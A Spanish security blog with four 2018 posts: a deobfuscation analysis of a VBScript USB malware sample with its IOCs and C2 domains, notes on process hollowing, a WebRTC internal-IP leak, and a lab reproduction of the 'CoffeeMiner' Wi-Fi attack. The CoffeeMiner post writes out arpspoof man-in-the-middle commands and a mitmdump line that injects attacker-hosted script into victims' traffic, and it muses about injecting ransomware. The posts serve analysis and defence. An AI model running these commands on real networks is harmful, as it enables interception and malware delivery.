martes, 20 de marzo de 2018

Otro "malware" a la cesta de peces


A finales de la semana pasada me pasaron un pendrive infectado y me solicitaron encontrar la muestra de infección.

El pendrive montaba dos particiones, en la primera se encontraban multitud de ficheros .html, .pdf y .doc, que tras su revisión, no se podían calificar de maliciosos.

En la segunda partición, denominada: Temporal, había:
               
                1.- Directorio simulado (extensión .lnk) de nombre: Documentación.

                Este enlace contenía la sentencia de ejecución:

C:\windows\system32\wscript.exe //E:vbscript MSShell32 /e "Documentacion" c4bbf69c54 0PQ6UF56EI28DK16Y51OZ06FE
                              
                2.- Directorio simulado (extensión .lnk) de nombre: Private
               
                Este enlace contenía la sentencia de ejecución:

C:\windows\system32\wscript.exe //E:vbscript MSShell32 /e "Private" c4bbf69c54 US1L8U6H

                3.- Archivo con caracteres: SHR (Sistema, oculto y de sólo lectura), de nombre: MSShell32.

Obviamente, la muestra buscada era el archivo oculto a nuestros ojos.

Se  solicito información a VT (VirusTotal), mostrando:


Una vez confirmado que se había encontrado la muestra buscada, se procedió a revisar el código de la muestra.


Parte del código encontrado.

Como se puede apreciar, el texto se encuentra ofuscado de alguna manera, ya que hay texto legible, o más bien, comandos compresibles y otras cosas.

Revisando más profusamente, se puede ver alguno de los métodos de ofuscación seguidos.

Función: MAPqXqZH y uso del comando: SPLIT

La variable EVOIVHHL juega con la función: MAPqXqZH (en sus distintas variantes, que son la misma, al no hacer distinción entre mayúsculas y minúsculas en Visual Basic). Además, se puede ver el uso de la función SPLIT.

NOTA: La base de conocimientos de Microsoft, define dicha función como: Divide una cadena en sub-cadenas basadas en los caracteres de una matriz.

                Personalmente la definiría como: función que divide una cadena en distintas sub-cadenas delimitadas por el carácter pasado como separador.
-----------------------------------------------------------------------------------------------------------------

Profundizando un poco más, se puede ver que la función: MAPqXqZH, trabaja con la función: REPLACE.

NOTA: La base de conocimientos de Microsoft, define dicha función como: Devuelve una cadena en la que se ha reemplazado una subcadena especificada con otra subcadena un número especificado de veces.
                Personalmente la definiría como: función que sustituye un carácter indicado por otro carácter también indicado dentro del texto proporcionado.

Función: MAPqXqZH

El código encontrado entonces quedaría de la siguiente manera:

Código encontrado, maquillado para su mejor comprensión.

En este punto, se descubre la función: LMCEXKJ, que al igual que la función: MAPqXqZH, trabaja con la función REPLACE.

En cualquier caso, se procede a transformar el código anterior en algo mas legible, para lo cual se procede a sustituir las funciones: CHR, por lo valores ASCII correspondientes:

Código encontrado, de nuevo, maquillado para su mejor comprensión.

Ya se van viendo cosas más comprensibles, aunque se continua haciendo el código más legible, utilizando la nueva información obtenida. Se obtiene:

Código encontrado, de nuevo, maquillado para su mejor comprensión.

Al final, tras hacer la labor a mano, se obtiene un código  como el siguiente:

Código encontrado. Esta vez, sólo nos quedaría ejecutar la función: LMCEXKJ.

Si ejecutamos las funciones: LMCEXKJ y SPLIT, el texto a descodificar se queda como sigue.

Código a descodificar

Si con el anterior código realizamos su transformación a código ASCII, tal y como nos indica el siguiente código:

Código que solicita la transformación a código ASCII de cada uno de los dígitos encontrados

Obtenemos:
Código ASCII

El código devuelto es legible en parte, por lo tanto ... ¡este es el método!.

Pero, algo no se hizo, por lo que se pasó al método rápido.

Este método consiste en dejar que el bicho se "ejecute", con la intención de descodificarlo correctamente. Pero que en vez de dejarle que se ejecute tal cual, se programará el código para que este se almacene en un archivo y así saciar nuestra curiosidad. Para ello hay que cambiar el comando donde se ejecuta el código decodificado por la llamada a una función que almacena en un archivo el código a ejecutar.

Llamada a la función: VOLCARDATOS()


Tarea que realiza la función: VOLCARDATOS()

Tras realizar los cambios y ejecutar el código, obtenemos el archivo: CodigoMalwar, cuyo inicio se puede ver en la siguiente imagen.

Malware totalmente decodificado.

 Aunque se sigue analizando el código por pura diversión, se pasa a comentar los datos más importantes para poder generar las reglas de mitigación necesarias.

1.- Se trata de algo más que un simple downloader.
2.- Crea un mutex de nombre: c4bbf69c54
3.- Obtiene información del sistema que posteriormente cifra en RC4 mediante la contraseña de cifrado:  B7248B83465C20C086AB3EDF5A6623E0C, envía.

Variables relacionadas con los puntos anteriores.

4.- Genera múltiples entradas en el registro de Windows para su persistencia
  • 4.1.- HKCU\software\MSShell32\d -> almacena la fecha de la primera infección
  • 4.2.- HKCU\software\MSShell32\c -> almacena "true" si el primer parámetro pasado existe dentro del sistema como directorio
  • 4.3.- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MSShell32 -> persistencia del malware
  • 4.4.- HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden -> obliga al sistema a mantener ocultos los archivos con el atributo de oculto activado
  • 4.5.- HKCU\Software\Microsoft\Windows\Currentversion\Explorer\Advanced\HiddenFileExt  -> obliga al sistema a mantener las extensiones de los archivos ocultas


5.-  Se producen comunicaciones contra:

  • 5.1.- music4you.ddns.net/?hdr=info, por el puerto 37556
  • 5.2.- tinyworld.duckdns.org/?hdr=info, por el puerto 37556
  • 5.3.- scrabble.crabdance.com/?hdr=info, por el puerto 37556


 Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia




miércoles, 7 de marzo de 2018

Process Hollowing, otra manera de infección y no es nueva.


El día 5 de marzo leía la entrada del siguiente blog: 

http://antonioparata.blogspot.com.es/2017/11/shed-inspect-net-malware-like-sir.html

Cuando hubo una frase que me llamó la atención:

"The main problem with this approach is that by now most of the malware use Process Hollowing ([1]) to inject its content in a newly created process."

TRADUCCIÓN: "El principal problema con este enfoque es que ahora la mayoría de malware usa Process Hollowing para inyectar su contenido en un proceso creado de cero".

Me pregunté, ¿en qué consiste "Process Hollowing"?.

Para resolver la duda seguí la referencia marcada en el propia entrada:

https://attack.mitre.org/wiki/Technique/T1093

En la página web de información se puede leer:

"Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis."

TRADUCCIÒN: "Process hollowing ocurre cuando un proceso es creado en un estado suspendido, entonces su memoria es des-mapeada y reemplazada con código malicioso. Igual que Process Injection, la ejecución de código malicioso está enmarcada bajo un proceso legítimo y puede evadir defensas y análisis de detección"

¡Muy interesante!

Pero, como se contrarresta está técnica o cuál es la contramedida.

Bueno pues está contramedida no existe, debido a que estamos hablando de una característica propia del sistema operativo.

"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. "

TRADUCCIÓN: "Este tipo de técnicas de ataque no pueden ser fácilmente mitigadas con controles preventivos ya que está basado en el abuso de características de diseño del sistema operativo"

Por lo tanto lo único que se puede hacer es analizar el comportamiento del proceso lanzado para detectar patrones sospechosos, es decir, nos conminan a analizar todo ejecutable que llegue a nuestra organización antes de ejecutarlo en su destino final.

Si en nuestro análisis estático encontráramos las APIs: ZwUnmapViewOfSection o NtUnmapViewOfSection, podríamos estar ante una muestra que usa: Process Hollowing.

"Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. "

TRADUCCIÓN: "Monitorizar las llamadas a la API puede generar un significativa cantidad de datos que pueden no ser útiles como defensa a menos que se recolecten bajo circunstancias específicas con la intención de conocer "malas" secuencias de llamadas, ya que el uso legítimo de las funciones de la API debe ser lo común y ello dificulta la distinción de un comportamiento malicioso"

"Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior."

TRADUCCIÓN: "Analice el comportamiento del proceso para determinar si está realizando acciones no habituales, tales como la apertura de conexiones de red, lectura de ficheros u otras acciones de índole sospechoso podría indicar un comportamiento que indicará una infección".



 Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia

jueves, 15 de febrero de 2018

Chrome y Firefox ... mis queridos soplones.


Me temblaron las piernas al comprobar que al visitar la página: https://www.whatismyip.com/es/ , entre las IPs mostradas estaba la IP interna que maneja mi ordenador.

Mostrando direccionamiento IP externa e interna

¿Cómo es posible?

Analizando el código de la página en cuestión se descubrío la siguiente función:

Código implicado en la presentación del direccionamiento interno.

Esta función crea la variable "pc" de tipo "RTCPeerConnection".


Creación de una variable de tipo RTCPeerConnection.


Pero, ¿qué es el objeto RTCPeerConnection?

Pues dicho objeto es un interface que representa una conexión WebRTC entre el ordenador local y un host remoto. Esta interfaz permite conectar con un host remoto, así como mantener y monitorizar  dicha conexión.

Esta conexiones fueron ideadas para la retransmisión de audio/video.

Más información: https://developer.mozilla.org/ES/docs/Web/API/RTCPeerConnection

Si lo pensamos ... al conectarnos al servidor web para visitar una página, nos hemos descargado un código javascript que tras ejecutarlo en local nos monta un canal de tipo UDP con un servidor remoto, sin conocimiento del usuario.

Estas conexiones son originalmente para streams, pero ... ¿a quién se le ocurren otras posibilidades?

POSIBILIDADES


Aunque si analizamos más el código, en concreto miramos la línea:

Definición del objeto RTCPeerConection

descubriremos que "{iceServers:[]}" significa que la conexión se está produciendo con la máquina local, es decir, la página que me indujo un temblor de piernas sólo es un PoC de conexiones WebRTC.

Aunque si cambiamos dicha configuración y ponemos, por ejemplo:

Código extraído de la documentación en línea sobre las conexiones WebRTC

o cualquier otro servidor, no sé qué podríamos hacer.


De hecho, buscando en Internet se puede ver que desde 2013 (según las fuentes que he encontrado) ya se solicita bloquear el funcionamiento de la API comentada.

Búsqueda en Internet sobre como bloquear la API investigada

QUIÉN SE VE AFECTADO

Se verían afectados todos los navegadores, aunque en la mayoría de ellos, la posibilidad de ejecución de conexiones WebRTC NO están permitidas por defecto. Las excepciones son:  Chrome y Firefox.

CONTRAMEDIDAS


En cualquier caso, hay que actuar sobre los hosts finales, ya que el problema radica como se ha comentado antes en la configuración por defecto del Chrome y del Firefox. Por lo tanto hay que ir máquina a máquina y archivo de configuración de usuario por archivo de configuración de usuario.  

Se han encontrado varias maneras de controlar los expuesto aquí:

0.- Utilizar cualquier otro navegador que por defecto no permita el uso de la API investigada (IExplorer, por ejemplo)


NOTA: Como se advierte en el enlace, las apps-on pueden no funcionar en el modo incógnito.


3.- Deshabilitar el uso de JavaScript


Modificación de la configuración de navegador Chrome.

 Modificación de la configuración de navegador Firefox.


Tras la nueva configuración, obtenemos ...

IMAGINEMOS

Hasta dónde podríamos llegar con esto ... pruébalo


 Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia

miércoles, 7 de febrero de 2018

Tomando un CoffeeMiner en el descanso.


Hace ya unos cuantos días leí la entrada del blog de Arnau Code relativo a "CoffeeMiner" . En dicha entrada se explica, en resumidas cuentas, como hacer que cualquier persona que se conecte a una WI-FI en la cual te encuentras mine para ti.

Resulto tan interesante la lectura que pase a testearlo (sin utilizar criptomonedas) , para lo cual clone en una de mis MV el repositorio Github de Arnau. A partir del cual comencé a revisar código para adaptarlo a mi MV, ya que dicha máquina -la cual será la atacante- es una máquina Linux sin entorno gráfico por lo que las llamadas a "Xterm" del código de Arnau no funcionan.



Código original de Arnau

NOTA: Sugiero encarecidamente, una vez clonado el repositorio Github, ejecutar el archivo: install.sh, clonado. Permitirá instalar los componentes necesarios para que el archivo python funcione.


Contenido del archivo: install.sh

Se realizaron varios cambios sobre el código original, aunque se puede decir que el principal consistió en dividir el archivo python: coffeeminer.py, en varios archivos. El objetivo fue controlar el funcionamiento ya que, como se comento anteriormente, la llamadas a "Xterm" no funcionan en el entorno de mis MV y no se podría seguir correctamente el funcionamiento del script.  

El resultado quedó de la siguiente manera:

1.- Archivo para configurar el firewall del sistema (1.HabilitarFIREWALL.py).

Sólo habría que lanzarlo la primera vez que trabajemos con el "CoffeMiner", ya que las reglas quedan modificadas de manera permanente.

Añadir que en mi caso, en vez de utilizar el código que se vio arriba, se ha utilizado las siguientes reglas para el firewall.

Contenido del archivo: 1.HabilitarFIREWALL.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("iptables -A FORWARD -i <identificador de nuestro NIC de entrada> -o <identificados de nuestro NIC de salida> -j ACCEPT")

Esto es debido a que, no se va a utilizar el software: ssltrip -última línea del script original-, y por lo tanto mi sistema no va a abrir el puerto 8080 para que funcione como proxy-web.

En mi caso, sólo permito el reenvío de los paquetes para que el usuario final no perciba ningún problema en las comunicaciones.

2.- Archivo que realizará el ARPSpoofing (2.ARPSpoofing.py)

Para ello debemos pasar como parámetro la dirección IP de nuestra default gateway. Con ese dato y con el contenido del archivo: victims.txt, que deben ser direcciones IP de las víctimas, se podrá hacer el ataque ARPSpoofing y así conseguir el MiTM.

Contenido del archivo: 2.ARPSpoofing.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("arpspoof -i <identificador de nuestro NIC de entrada> -t <IP de la victima> <IP del default gateway>")

os.system("arpspoof -i <identificador de nuestro NIC de entrada> -t <IP del default gateway> <IP de la victima>")

3.- Archivo que levantará un servidor web. (3.httpServer.py)

Se creará un servidor web que escuchará constantemente en el puerto 8000, en mi propia máquina.

Contenido del archivo: 3.httpServer.py

4.- Archivo que nos permitirá inyectar el código que permitirá hacer ... cosas malas. (4.LanzarMitdump.py)

Por un lado tenemos: mitmdump, que es una herramienta que permite analizar el tráfico que pasará a través de nuestro equipo y editarlo.

Por otro lado tenemos: inyector.py, que nos permite inyectar el código deseado.

Está línea, y estas dos herramientas son las realmente esenciales para realizar lo que Arnau nos propone, y son las que pueden dar mucho juego.


Contenido del archivo: 4.LanzarMitdump.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("/.local/bin/mitmdump -s ' injector.py http://<IP de nuestro servidor HTTP>/<archivo a descargar>' -T")

El contenido del archivo: script.js es:


Contenido del archivo: script.js

PoC

El entorno se compone de tres equipos:

1.-  Default Gateway : 172.21.5.15
2.- Servidor Linux, desde donde se lanza los scripts correspondientes al CoffeeMiner : 172.21.5.234

Configuración de red de la máquina atacante

3.- Máquina Linux, que será la víctima: 172.21.5.246

Configuración de red de la máquina victima

Se procede a lanzar la secuencia de scripts generados.

A.- 1.HabilitarFIREWALL.py

Lanzamos el primer script, que permite la configuración del firewall

 B.- 2.ARPSpoofing.py


Lanzamos el segundo script, que permite realizar el ARPSpoofing.

Tabla ARP de la máquina víctima.

C.- 3.httpServer.py


Lanzamos el tercer script, que levanta un servicio web.

C.- 4.LanzaMitmdump.py


Pantallazo obtenido tras lanzar el cuarto script.

Desde la máquina víctima se solicita a través del navegador la visita a la URL: www.arnaucode.com, obteniéndose el siguiente resultado:

Mensaje visualizado y que se corresponde con la orden dada en la línea inyectada.

CONTRAMEDIDAS

A nivel de red, al fundamentarse en un MitM mediante un ataque ARPSpoofing, la red se llena de tramas ARP desde el atacante hacía sus víctimas. También cada uno de los equipos víctimas sufrirán un incremento de actividad a nivel de red.

Por dicho motivo, se debería instalar un script/software/<o como se quiera llamar> que nos informe cuando dos direcciones IP tenga la misma M.A.C.. Esto sería un indicador bastante fiable de que estamos ante un ataque ARPSpoofing.

Un script que nos permitiría detectar un ataque ARPSpoofing puede ser el siguiente

A nivel de navegador web, y para detectar intentos de minería existen extensiones que detectan y bloquean dichos intentos. Como por ejemplo: No Coin y Miner Block. 

Al mismo nivel que el anterior, podemos ser más radicales, y deshabilitar la ejecución de "javascript".

Por último, me gustaría dejar caer las siguientes ideas ...

1.- Y si, en vez de un ataque MitM se configurara un archivo PAC (configuración de proxy-web) y se soltará para que todas aquellas máquinas/hosts que lo solicitan de manera implícita lo recogieran e hicieran de nuestra máquina su proxy-web.

Nuestra inyección sería más anónima.

2.- Y si, en vez de inyectar un comando: <alert>, o el código para descargar un archivo de minería, volviéramos a las andadas con los ransomware u otros malwares.

3.- Imaginación al poder.

En cualquier caso, todo esto implica estar presente en la red a "engañar" de manera física, aunque sea por tiempo finito. Pero ello también implicaría que los elementos de seguridad de la red nos los habríamos saltado y sólo quedarían las medidas de seguridad implementadas en los hosts finales.

¿Cómo sería de malo?

 Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia